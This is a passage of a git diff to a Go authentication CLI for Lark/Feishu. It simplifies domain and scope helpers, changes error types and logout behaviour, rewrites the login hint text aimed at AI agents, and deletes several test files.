-	m := allKnownDomains(brand)
+func sortedKnownDomains() []string {
+	m := allKnownDomains()
 	domains := make([]string, 0, len(m))
 	for d := range m {
 		domains = append(domains, d)
--- a/cmd/auth/login_brand_filter_test.go
+++ b/cmd/auth/login_brand_filter_test.go
@@ -1,32 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"testing"
-
-	"github.com/larksuite/cli/internal/core"
-)
-
-func TestBrandFilter_AppsExcludedOnLark(t *testing.T) {
-	feishuDomains := allKnownDomains(core.BrandFeishu)
-	if !feishuDomains["apps"] {
-		t.Errorf("expected apps domain to be known on Feishu brand")
-	}
-
-	larkDomains := allKnownDomains(core.BrandLark)
-	if larkDomains["apps"] {
-		t.Errorf("expected apps domain to be EXCLUDED on Lark brand")
-	}
-
-	feishuScopes := collectScopesForDomains([]string{"apps"}, "user", core.BrandFeishu)
-	if len(feishuScopes) == 0 {
-		t.Errorf("expected non-empty scopes for apps on Feishu brand, got %d", len(feishuScopes))
-	}
-
-	larkScopes := collectScopesForDomains([]string{"apps"}, "user", core.BrandLark)
-	if len(larkScopes) != 0 {
-		t.Errorf("expected empty scopes for apps on Lark brand, got %d: %v", len(larkScopes), larkScopes)
-	}
-}
--- a/cmd/auth/login_interactive.go
+++ b/cmd/auth/login_interactive.go
@@ -10,9 +10,7 @@ import (

 	"github.com/charmbracelet/huh"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/registry"
 	"github.com/larksuite/cli/shortcuts"
@@ -92,17 +90,22 @@ func buildDomainMeta(name, lang string) domainMeta {
 			Description: desc,
 		}
 	}
-	// Fallback: read from the typed service spec (legacy)
+	// Fallback: read from from_meta spec (legacy)
+	meta := registry.LoadFromMeta(name)
 	dm := domainMeta{Name: name}
-	if svc, ok := registry.ServiceTyped(name); ok {
-		dm.Title = svc.Title
-		dm.Description = svc.Description
+	if meta != nil {
+		if t, ok := meta["title"].(string); ok {
+			dm.Title = t
+		}
+		if d, ok := meta["description"].(string); ok {
+			dm.Description = d
+		}
 	}
 	return dm
 }

 // runInteractiveLogin shows an interactive TUI form for domain and permission selection.
-func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, brand core.LarkBrand) (*interactiveResult, error) {
+func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg) (*interactiveResult, error) {
 	allDomains := getDomainMetadata(lang)

 	// Build multi-select options
@@ -158,11 +161,11 @@ func runInteractiveLogin(ios *cmdutil.IOStreams, lang string, msg *loginMsg, bra
 	}

 	if len(selectedDomains) == 0 {
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "no domains selected").WithParam("--domain")
+		return nil, output.ErrValidation("no domains selected")
 	}

 	// Compute scope summary
-	scopes := collectScopesForDomains(selectedDomains, "user", brand)
+	scopes := collectScopesForDomains(selectedDomains, "user")
 	if permLevel == "common" {
 		scopes = registry.FilterAutoApproveScopes(scopes)
 	}
--- a/cmd/auth/login_messages.go
+++ b/cmd/auth/login_messages.go
@@ -3,8 +3,6 @@

 package auth

-import "github.com/larksuite/cli/internal/i18n"
-
 type loginMsg struct {
 	// Interactive UI (login_interactive.go)
 	SelectDomains   string
@@ -61,7 +59,7 @@ var loginMsgZh = &loginMsg{

 	OpenURL:            "在浏览器中打开以下链接进行认证:\n\n",
 	WaitingAuth:        "等待用户授权...",
-	AgentTimeoutHint:   "[AI agent] 此命令最长阻塞约 10 分钟，等待用户在浏览器内完成授权。请确保 runner 的 timeout >= 600s。若你的 harness 或 agent 工具只会把最终回复发给用户，请改用 \"lark-cli auth login --no-wait --json\" 拿到 device_code 和 verification_url，把 verification_url 作为本轮最终消息发给用户并结束本轮；等用户回复已完成授权后，再在后续步骤运行 \"lark-cli auth login --device-code <code>\" 续上轮询。**不要在同一轮里展示 URL 后立刻阻塞执行 --device-code**，也不要短 timeout 反复重试；每次重启会作废上一轮的 device code，导致用户授权链接失效。**必须生成二维码并展示**: 你必须调用 lark-cli auth qrcode 将 verification_url 转为二维码，这是必须步骤，不要跳过。优先生成 PNG 二维码（--output）；仅当用户明确要求时才使用 ASCII（--ascii）。**关键：生成后必须在回复中展示图片**，仅生成文件不算完成，须用 image 标签或内联图片等方式将图片包含在回复中。**展示顺序**: 先输出 URL，再将二维码图片置于 URL 下方完整展示。**URL 输出规则**: 将 verification_url 视为不可修改的 opaque string，不要做任何修改（包括 URL 编码/解码、添加空格或标点）。",
+	AgentTimeoutHint:   "[AI agent] 此命令最长阻塞约 10 分钟，等待用户在浏览器内完成授权。请确保 runner 的 timeout >= 600s。若你的 harness 只会把最终回复发给用户，请改用 `lark-cli auth login --no-wait --json` 拿到 device_code 和 verification_url，把 verification_url 作为本轮最终消息原样发给用户并结束本轮；等用户回复已完成授权后，再在后续步骤运行 `lark-cli auth login --device-code <code>` 续上轮询。**不要在同一轮里展示 URL 后立刻阻塞执行 --device-code**，也不要短 timeout 反复重试；每次重启会作废上一轮的 device code，导致用户授权链接失效。向用户展示授权链接时，必须逐字原样转发 CLI 返回的 URL，把它视为不可修改的 opaque string；不要做 URL 编码或解码，不要补 `%20`、空格或标点，不要改写成 Markdown 链接，建议用只包含该 URL 的代码块单独输出。",
 	AuthSuccess:        "已收到授权确认，正在获取用户信息并校验授权结果...",
 	LoginSuccess:       "授权成功! 用户: %s (%s)",
 	AuthorizedUser:     "当前授权账号: %s (%s)",
@@ -97,7 +95,7 @@ var loginMsgEn = &loginMsg{

 	OpenURL:            "Open this URL in your browser to authenticate:\n\n",
 	WaitingAuth:        "Waiting for user authorization...",
-	AgentTimeoutHint:   "[AI agent] This command blocks for up to ~10 minutes while waiting for the user to authorize in their browser. Make sure your runner's timeout is >= 600s. If your harness or agent tool only delivers final turn messages, use \"lark-cli auth login --no-wait --json\" to get device_code and verification_url, present verification_url to the user exactly as the final message of this turn, then end the turn; after the user replies that they authorized, run \"lark-cli auth login --device-code <code>\" in a later step to resume polling. **Do NOT show the URL and then immediately block on --device-code in the same turn**, and do not retry with a short timeout; each restart invalidates the previous device code and makes the earlier authorization URL useless.**MUST generate QR code AND display it:** You MUST call lark-cli auth qrcode to convert verification_url into a QR code. This is a required step, do NOT skip it. Prefer PNG QR code (--output); use ASCII (--ascii) only when the user explicitly requests it.**CRITICAL: You MUST include the QR image in your response.** Generating the file alone is NOT enough—use image tags, inline images, or file attachments to display it.**Display order:** Output the URL first, then place the QR code image below the URL.**URL Output Rules:** Treat verification_url as an opaque string that cannot be modified. Do NOT URL-encode/decode or add spaces/punctuation.",
+	AgentTimeoutHint:   "[AI agent] This command blocks for up to ~10 minutes while waiting for the user to authorize in their browser. Make sure your runner's timeout is >= 600s. If your harness only delivers final turn messages, use `lark-cli auth login --no-wait --json` to get device_code and verification_url, present verification_url to the user exactly as the final message of this turn, then end the turn; after the user replies that they authorized, run `lark-cli auth login --device-code <code>` in a later step to resume polling. **Do NOT show the URL and then immediately block on --device-code in the same turn**, and do not retry with a short timeout; each restart invalidates the previous device code and makes the earlier authorization URL useless. When showing the authorization URL to the user, copy the CLI-returned URL exactly as-is and treat it as an opaque string. Do not URL-encode or decode it, do not add `%20`, spaces, or punctuation, do not rewrite it as Markdown link text, and prefer a fenced code block containing only the raw URL.",
 	AuthSuccess:        "Authorization confirmed, fetching user info and validating granted scopes...",
 	LoginSuccess:       "Authorization successful! User: %s (%s)",
 	AuthorizedUser:     "Authorized account: %s (%s)",
@@ -116,9 +114,8 @@ var loginMsgEn = &loginMsg{
 	HintFooter:  "  lark-cli auth login --help",
 }

-// getLoginMsg returns the login message bundle for the given language.
-func getLoginMsg(lang i18n.Lang) *loginMsg {
-	if lang.IsEnglish() {
+func getLoginMsg(lang string) *loginMsg {
+	if lang == "en" {
 		return loginMsgEn
 	}
 	return loginMsgZh
@@ -128,5 +125,5 @@ func getLoginMsg(lang i18n.Lang) *loginMsg {
 // (not backed by from_meta service specs). Descriptions are now centralized in
 // service_descriptions.json.
 func getShortcutOnlyDomainNames() []string {
-	return []string{"base", "contact", "docs", "markdown", "apps", "note"}
+	return []string{"base", "contact", "docs", "markdown"}
 }
--- a/cmd/auth/login_messages_test.go
+++ b/cmd/auth/login_messages_test.go
@@ -8,8 +8,6 @@ import (
 	"reflect"
 	"strings"
 	"testing"
-
-	"github.com/larksuite/cli/internal/i18n"
 )

 func TestGetLoginMsg_Zh(t *testing.T) {
@@ -33,7 +31,7 @@ func TestGetLoginMsg_En(t *testing.T) {
 }

 func TestGetLoginMsg_DefaultsToZh(t *testing.T) {
-	for _, lang := range []i18n.Lang{"", "fr_fr", "ja_jp", "unknown"} {
+	for _, lang := range []string{"", "fr", "ja", "unknown"} {
 		msg := getLoginMsg(lang)
 		if msg != loginMsgZh {
 			t.Errorf("getLoginMsg(%q) should default to zh", lang)
@@ -63,7 +61,7 @@ func assertLoginMsgAllFieldsNonEmpty(t *testing.T, msg *loginMsg, label string)
 }

 func TestLoginMsg_FormatStrings(t *testing.T) {
-	for _, lang := range []i18n.Lang{i18n.LangZhCN, i18n.LangEnUS} {
+	for _, lang := range []string{"zh", "en"} {
 		msg := getLoginMsg(lang)

 		// LoginSuccess should contain two %s placeholders (userName, openId)
@@ -104,10 +102,10 @@ func TestLoginMsg_FormatStrings(t *testing.T) {
 // --device-code split-flow, and (c) non-streaming harnesses must end the turn
 // after presenting the URL instead of blocking in the same turn.
 func TestAgentTimeoutHint_CarriesKeyInfo(t *testing.T) {
-	for _, lang := range []i18n.Lang{i18n.LangZhCN, i18n.LangEnUS} {
+	for _, lang := range []string{"zh", "en"} {
 		hint := getLoginMsg(lang).AgentTimeoutHint
 		for _, want := range []string{"--no-wait", "--device-code", "turn"} {
-			if lang == i18n.LangZhCN && want == "turn" {
+			if lang == "zh" && want == "turn" {
 				want = "本轮"
 			}
 			if !strings.Contains(hint, want) {
--- a/cmd/auth/login_result.go
+++ b/cmd/auth/login_result.go
@@ -8,7 +8,6 @@ import (
 	"fmt"
 	"strings"

-	"github.com/larksuite/cli/errs"
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/output"
@@ -172,12 +171,20 @@ func handleLoginScopeIssue(opts *LoginOptions, msg *loginMsg, f *cmdutil.Factory
 			fmt.Fprintln(f.IOStreams.Out, string(b))
 			return output.ErrBare(output.ExitAuth)
 		}
-		return errs.NewPermissionError(errs.SubtypeMissingScope, "%s", issue.Message).
-			WithHint("%s", issue.Hint).
-			WithIdentity("user").
-			WithRequestedScopes(issue.Summary.Requested...).
-			WithGrantedScopes(issue.Summary.Granted...).
-			WithMissingScopes(issue.Summary.Missing...)
+		detail := map[string]interface{}{
+			"requested": issue.Summary.Requested,
+			"granted":   issue.Summary.Granted,
+			"missing":   issue.Summary.Missing,
+		}
+		return &output.ExitError{
+			Code: output.ExitAuth,
+			Detail: &output.ErrDetail{
+				Type:    "missing_scope",
+				Message: issue.Message,
+				Hint:    issue.Hint,
+				Detail:  detail,
+			},
+		}
 	}

 	fmt.Fprintln(f.IOStreams.ErrOut)
--- a/cmd/auth/login_result_test.go
+++ b/cmd/auth/login_result_test.go
@@ -1,61 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"errors"
-	"reflect"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-)
-
-// TestHandleLoginScopeIssue_FailedJSON_PreservesScopeTriple asserts that the
-// failed-login JSON branch (loginSucceeded == false, opts.JSON == true) wires
-// requested + granted + missing scopes into the typed *PermissionError
-// envelope. Consumers need the full triple to render actionable diagnostics,
-// not just the missing set.
-func TestHandleLoginScopeIssue_FailedJSON_PreservesScopeTriple(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-
-	requested := []string{"docx:document", "im:message:send"}
-	granted := []string{"docx:document"}
-	missing := []string{"im:message:send"}
-
-	err := handleLoginScopeIssue(
-		&LoginOptions{JSON: true},
-		getLoginMsg("en"),
-		f,
-		&loginScopeIssue{
-			Message: "scope insufficient",
-			Hint:    "re-login with --scope im:message:send",
-			Summary: &loginScopeSummary{
-				Requested: requested,
-				Granted:   granted,
-				Missing:   missing,
-			},
-		},
-		"", // openId empty -> loginSucceeded = false
-		"tester",
-	)
-
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-	var permErr *errs.PermissionError
-	if !errors.As(err, &permErr) {
-		t.Fatalf("expected *errs.PermissionError, got %T: %v", err, err)
-	}
-	if !reflect.DeepEqual(permErr.RequestedScopes, requested) {
-		t.Errorf("RequestedScopes = %v, want %v", permErr.RequestedScopes, requested)
-	}
-	if !reflect.DeepEqual(permErr.GrantedScopes, granted) {
-		t.Errorf("GrantedScopes = %v, want %v", permErr.GrantedScopes, granted)
-	}
-	if !reflect.DeepEqual(permErr.MissingScopes, missing) {
-		t.Errorf("MissingScopes = %v, want %v", permErr.MissingScopes, missing)
-	}
-}
--- a/cmd/auth/login_test.go
+++ b/cmd/auth/login_test.go
@@ -9,7 +9,6 @@ import (
 	"errors"
 	"io"
 	"net/http"
-	"slices"
 	"sort"
 	"strings"
 	"testing"
@@ -172,7 +171,7 @@ func TestCompleteDomain_CommaSeparated(t *testing.T) {
 }

 func TestAllKnownDomains(t *testing.T) {
-	domains := allKnownDomains("")
+	domains := allKnownDomains()
 	if len(domains) == 0 {
 		t.Fatal("expected non-empty known domains")
 	}
@@ -186,7 +185,7 @@ func TestAllKnownDomains(t *testing.T) {
 }

 func TestSortedKnownDomains(t *testing.T) {
-	sorted := sortedKnownDomains("")
+	sorted := sortedKnownDomains()
 	if len(sorted) == 0 {
 		t.Fatal("expected non-empty sorted domains")
 	}
@@ -196,7 +195,7 @@ func TestSortedKnownDomains(t *testing.T) {
 	}

 	// Should match allKnownDomains
-	known := allKnownDomains("")
+	known := allKnownDomains()
 	if len(sorted) != len(known) {
 		t.Errorf("sorted (%d) and known (%d) length mismatch", len(sorted), len(known))
 	}
@@ -215,19 +214,13 @@ func TestGetShortcutOnlyDomainNames_HaveDescriptions(t *testing.T) {
 	}
 }

-func TestGetShortcutOnlyDomainNames_IncludesNote(t *testing.T) {
-	if !slices.Contains(getShortcutOnlyDomainNames(), "note") {
-		t.Fatal("shortcut-only domains must include note so auth login can select vc:note:read")
-	}
-}
-
 func TestCollectScopesForDomains(t *testing.T) {
 	projects := registry.ListFromMetaProjects()
 	if len(projects) == 0 {
 		t.Skip("no from_meta data available")
 	}

-	scopes := collectScopesForDomains([]string{"calendar"}, "user", "")
+	scopes := collectScopesForDomains([]string{"calendar"}, "user")
 	if len(scopes) == 0 {
 		t.Fatal("expected non-empty scopes for calendar domain")
 	}
@@ -254,7 +247,7 @@ func TestCollectScopesForDomains(t *testing.T) {
 }

 func TestCollectScopesForDomains_NonexistentDomain(t *testing.T) {
-	scopes := collectScopesForDomains([]string{"nonexistent_domain_xyz"}, "user", "")
+	scopes := collectScopesForDomains([]string{"nonexistent_domain_xyz"}, "user")
 	if len(scopes) != 0 {
 		t.Errorf("expected empty scopes for nonexistent domain, got %d", len(scopes))
 	}
@@ -407,11 +400,12 @@ func TestHandleLoginScopeIssue_NonJSONAlignsWithLoginSuccess(t *testing.T) {
 			Granted:   []string{"base:app:copy"},
 		},
 	}, "ou_user", "tester")
-	if err == nil {
-		t.Fatal("expected error, got nil")
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected ExitError, got %v", err)
 	}
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
-		t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
+	if exitErr.Code != output.ExitAuth {
+		t.Fatalf("exit code = %d, want %d", exitErr.Code, output.ExitAuth)
 	}
 	got := stderr.String()
 	for _, want := range []string{
@@ -449,11 +443,12 @@ func TestHandleLoginScopeIssue_JSONAlignsWithLoginSuccess(t *testing.T) {
 			Granted:   []string{"base:app:copy"},
 		},
 	}, "ou_user", "tester")
-	if err == nil {
-		t.Fatal("expected error, got nil")
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected ExitError, got %v", err)
 	}
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
-		t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
+	if exitErr.Code != output.ExitAuth {
+		t.Fatalf("exit code = %d, want %d", exitErr.Code, output.ExitAuth)
 	}

 	var data map[string]interface{}
@@ -658,11 +653,12 @@ func TestAuthLoginRun_MissingRequestedScopeAlignsWithLoginSuccess(t *testing.T)
 		Ctx:     context.Background(),
 		Scope:   "im:message:send",
 	})
-	if err == nil {
-		t.Fatal("expected error, got nil")
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("expected ExitError, got %v", err)
 	}
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
-		t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
+	if exitErr.Code != output.ExitAuth {
+		t.Fatalf("exit code = %d, want %d", exitErr.Code, output.ExitAuth)
 	}
 	got := stderr.String()
 	for _, want := range []string{
@@ -874,87 +870,6 @@ func TestAuthLoginRun_DeviceCodeTokenNilCleansScopeCache(t *testing.T) {
 	}
 }

-// TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty pins the
-// contract that when --json is set and pollDeviceToken returns OK=false,
-// stdout carries the structured authorization_failed event and stderr is
-// NOT polluted with a typed envelope. The returned error is a bare
-// BareError with ExitAuth so the dispatcher only propagates the exit code
-// without emitting a second envelope on top of the JSON event.
-func TestAuthLoginRun_JSONAbort_StdoutEventOnly_StderrEmpty(t *testing.T) {
-	keyring.MockInit()
-	setupLoginConfigDir(t)
-
-	original := pollDeviceToken
-	t.Cleanup(func() { pollDeviceToken = original })
-	pollDeviceToken = func(ctx context.Context, httpClient *http.Client, appId, appSecret string, brand core.LarkBrand, deviceCode string, interval, expiresIn int, errOut io.Writer) *larkauth.DeviceFlowResult {
-		return &larkauth.DeviceFlowResult{OK: false, Message: "user denied"}
-	}
-
-	f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
-		ProfileName: "default",
-		AppID:       "cli_test",
-		AppSecret:   "secret",
-		Brand:       core.BrandFeishu,
-	})
-
-	reg.Register(&httpmock.Stub{
-		Method: "POST",
-		URL:    larkauth.PathDeviceAuthorization,
-		Body: map[string]interface{}{
-			"device_code":               "device-code",
-			"user_code":                 "user-code",
-			"verification_uri":          "https://example.com/verify",
-			"verification_uri_complete": "https://example.com/verify?code=123",
-			"expires_in":                240,
-			"interval":                  0,
-		},
-	})
-
-	err := authLoginRun(&LoginOptions{
-		Factory: f,
-		Ctx:     context.Background(),
-		Scope:   "im:message:send",
-		JSON:    true,
-	})
-	if err == nil {
-		t.Fatal("expected error for aborted authorization")
-	}
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitAuth {
-		t.Fatalf("exit code = %d, want %d", gotCode, output.ExitAuth)
-	}
-
-	// stdout: device_authorization event + authorization_failed event,
-	// the latter carrying the abort message as a structured field.
-	stdoutStr := stdout.String()
-	if !strings.Contains(stdoutStr, `"event":"authorization_failed"`) {
-		t.Errorf("stdout missing authorization_failed event, got: %s", stdoutStr)
-	}
-	if !strings.Contains(stdoutStr, "user denied") {
-		t.Errorf("stdout missing abort message, got: %s", stdoutStr)
-	}
-
-	// stderr must NOT carry a typed envelope: ErrBare propagates the exit
-	// code only, so the dispatcher emits nothing on stderr. The waiting-auth
-	// log line goes through the JSON-mode no-op `log` helper so it is also
-	// suppressed in JSON mode.
-	stderrStr := stderr.String()
-	if strings.Contains(stderrStr, `"type":"authentication"`) {
-		t.Errorf("stderr should not contain typed envelope, got: %s", stderrStr)
-	}
-	if strings.Contains(stderrStr, `"error"`) {
-		t.Errorf("stderr should not contain JSON envelope fields, got: %s", stderrStr)
-	}
-
-	// Returned error must be the bare *output.BareError signal (no envelope).
-	var bareErr *output.BareError
-	if !errors.As(err, &bareErr) {
-		t.Fatalf("expected *output.BareError, got %T: %v", err, err)
-	}
-	if bareErr.Code != output.ExitAuth {
-		t.Fatalf("BareError.Code = %d, want %d", bareErr.Code, output.ExitAuth)
-	}
-}
-
 func TestAuthLoginRun_JSONWriteFailure_NoWaitReturnsWriterError(t *testing.T) {
 	f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
 		ProfileName: "default",
@@ -1030,27 +945,17 @@ func TestAuthLoginRun_NoWaitJSONHintIncludesRawURLGuidance(t *testing.T) {
 	}
 	hint, _ := data["hint"].(string)
 	for _, want := range []string{
-		"MUST generate QR code AND display it",
-		"lark-cli auth qrcode",
-		"Prefer PNG QR code (--output)",
-		"use ASCII (--ascii) only when the user explicitly requests it",
-		"This is a required step, do NOT skip it",
-		"CRITICAL",
-		"You MUST include the QR image in your response",
-		"Generating the file alone is NOT enough",
-		"image tags, inline images, or file attachments",
-		"Display order",
-		"place the QR code image below the URL",
+		"exactly as returned by the CLI",
 		"opaque string",
-		"cannot be modified",
+		"Do not URL-encode or decode it",
+		"do not add %20, spaces, or punctuation",
+		"do not wrap it as Markdown link text",
+		"fenced code block containing only the raw URL",
 		"final message of the turn",
 		"return control to the user",
 		"do not block on --device-code in the same turn",
-		"come back and notify",
-		"YOU must execute",
-		"lark-cli auth login --device-code <device_code>",
-		"Do NOT cache",
-		"lark-cli auth login --no-wait --json",
+		"After the user confirms authorization in a later step",
+		"lark-cli auth login --device-code device-code",
 	} {
 		if !strings.Contains(hint, want) {
 			t.Fatalf("hint missing %q, got:\n%s", want, hint)
@@ -1149,17 +1054,12 @@ func TestAuthLoginRun_JSONDeviceAuthorizationAgentHintIncludesRawURLGuidance(t *
 		"结束本轮",
 		"用户回复已完成授权",
 		"不要在同一轮里展示 URL 后立刻阻塞执行 --device-code",
-		"必须生成二维码并展示",
-		"lark-cli auth qrcode",
-		"优先生成 PNG 二维码（--output）",
-		"仅当用户明确要求时才使用 ASCII（--ascii）",
-		"生成后必须在回复中展示图片",
-		"仅生成文件不算完成",
-		"image 标签或内联图片",
-		"二维码图片置于 URL 下方完整展示",
-		"URL 输出规则",
+		"逐字原样转发 CLI 返回的 URL",
 		"opaque string",
-		"不要做任何修改",
+		"不要做 URL 编码或解码",
+		"不要补 `%20`、空格或标点",
+		"不要改写成 Markdown 链接",
+		"只包含该 URL 的代码块单独输出",
 	} {
 		if !strings.Contains(hint, want) {
 			t.Fatalf("agent_hint missing %q, got:\n%s", want, hint)
@@ -1177,7 +1077,7 @@ func TestGetDomainMetadata_ExcludesEvent(t *testing.T) {
 }

 func TestAllKnownDomains_ExcludesAuthDomainChildren(t *testing.T) {
-	domains := allKnownDomains("")
+	domains := allKnownDomains()
 	if domains["whiteboard"] {
 		t.Error("whiteboard should not appear in known auth domains (it has auth_domain=docs)")
 	}
@@ -1187,7 +1087,7 @@ func TestAllKnownDomains_ExcludesAuthDomainChildren(t *testing.T) {
 }

 func TestCollectScopesForDomains_ExpandsAuthDomainChildren(t *testing.T) {
-	scopes := collectScopesForDomains([]string{"docs"}, "user", "")
+	scopes := collectScopesForDomains([]string{"docs"}, "user")
 	// docs domain should include whiteboard shortcut scopes (board:whiteboard:*)
 	found := false
 	for _, s := range scopes {
--- a/cmd/auth/logout.go
+++ b/cmd/auth/logout.go
@@ -8,7 +8,6 @@ import (

 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
 	larkauth "github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -18,7 +17,6 @@ import (
 // LogoutOptions holds all inputs for auth logout.
 type LogoutOptions struct {
 	Factory *cmdutil.Factory
-	JSON    bool
 }

 // NewCmdAuthLogout creates the auth logout subcommand.
@@ -35,7 +33,6 @@ func NewCmdAuthLogout(f *cmdutil.Factory, runF func(*LogoutOptions) error) *cobr
 			return authLogoutRun(opts)
 		},
 	}
-	cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
 	cmdutil.SetRisk(cmd, "write")

 	return cmd
@@ -46,64 +43,24 @@ func authLogoutRun(opts *LogoutOptions) error {

 	multi, _ := core.LoadMultiAppConfig()
 	if multi == nil || len(multi.Apps) == 0 {
-		if opts.JSON {
-			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
-				"ok":        true,
-				"loggedOut": false,
-				"reason":    "not_configured",
-			})
-			return nil
-		}
 		fmt.Fprintln(f.IOStreams.ErrOut, "No configuration found.")
 		return nil
 	}

 	app := multi.CurrentAppConfig(f.Invocation.Profile)
 	if app == nil || len(app.Users) == 0 {
-		if opts.JSON {
-			output.PrintJson(f.IOStreams.Out, map[string]interface{}{
-				"ok":        true,
-				"loggedOut": false,
-				"reason":    "not_logged_in",
-			})
-			return nil
-		}
 		fmt.Fprintln(f.IOStreams.ErrOut, "Not logged in.")
 		return nil
 	}

-	httpClient, httpErr := f.HttpClient()
-	appSecret, secretErr := core.ResolveSecretInput(app.AppSecret, f.Keychain)
-
 	for _, user := range app.Users {
-		if httpErr == nil && secretErr == nil {
-			if token := larkauth.GetStoredToken(app.AppId, user.UserOpenId); token != nil {
-				revokeToken := token.RefreshToken
-				tokenTypeHint := "refresh_token"
-				if revokeToken == "" {
-					revokeToken = token.AccessToken
-					tokenTypeHint = "access_token"
-				}
-				if revokeToken != "" {
-					_ = larkauth.RevokeToken(httpClient, app.AppId, appSecret, app.Brand, revokeToken, tokenTypeHint)
-				}
-			}
-		}
 		if err := larkauth.RemoveStoredToken(app.AppId, user.UserOpenId); err != nil {
 			fmt.Fprintf(f.IOStreams.ErrOut, "Warning: failed to remove token for %s: %v\n", user.UserOpenId, err)
 		}
 	}
-
 	app.Users = []core.AppUser{}
 	if err := core.SaveMultiAppConfig(multi); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
-	}
-	if opts.JSON {
-		output.PrintJson(f.IOStreams.Out, map[string]interface{}{
-			"ok":        true,
-			"loggedOut": true,
-		})
-		return nil
+		return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 	}
 	output.PrintSuccess(f.IOStreams.ErrOut, "Logged out")
 	return nil
--- a/cmd/auth/logout_test.go
+++ b/cmd/auth/logout_test.go
@@ -1,356 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"encoding/json"
-	"net/url"
-	"strings"
-	"testing"
-
-	larkauth "github.com/larksuite/cli/internal/auth"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/zalando/go-keyring"
-)
-
-func writeLogoutConfig(t *testing.T, users []core.AppUser) {
-	t.Helper()
-	if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
-		CurrentApp: "test-app",
-		Apps: []core.AppConfig{
-			{
-				AppId:     "test-app",
-				AppSecret: core.PlainSecret("test-secret"),
-				Brand:     core.BrandFeishu,
-				Users:     users,
-			},
-		},
-	}); err != nil {
-		t.Fatalf("SaveMultiAppConfig() error = %v", err)
-	}
-}
-
-func TestAuthLogoutRun_JSONMode_NotConfigured_WritesStdoutOnly(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != true {
-		t.Errorf("stdout.ok = %v, want true", payload["ok"])
-	}
-	if payload["loggedOut"] != false {
-		t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
-	}
-	if payload["reason"] != "not_configured" {
-		t.Errorf("stdout.reason = %v, want not_configured", payload["reason"])
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
-	}
-}
-
-func TestAuthLogoutRun_JSONMode_NotLoggedIn_WritesStdoutOnly(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	writeLogoutConfig(t, nil)
-
-	f, stdout, stderr, _ := cmdutil.TestFactory(t, nil)
-	if err := authLogoutRun(&LogoutOptions{Factory: f, JSON: true}); err != nil {
-		t.Fatalf("authLogoutRun() error = %v", err)
-	}
-
-	var payload map[string]any
-	if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
-		t.Fatalf("stdout must be valid JSON: %v\nstdout=%s", err, stdout.String())
-	}
-	if payload["ok"] != true {
-		t.Errorf("stdout.ok = %v, want true", payload["ok"])
-	}
-	if payload["loggedOut"] != false {
-		t.Errorf("stdout.loggedOut = %v, want false", payload["loggedOut"])
-	}
-	if payload["reason"] != "not_logged_in" {
-		t.Errorf("stdout.reason = %v, want not_logged_in", payload["reason"])
-	}
-	if stderr.Len() != 0 {
-		t.Errorf("stderr must stay empty in JSON mode, got:\n%s", stderr.String())
-	}
-}
-
-func TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly(t *testing.T) {
-	keyring.MockInit()
-	t.Setenv("HOME", t.TempDir())
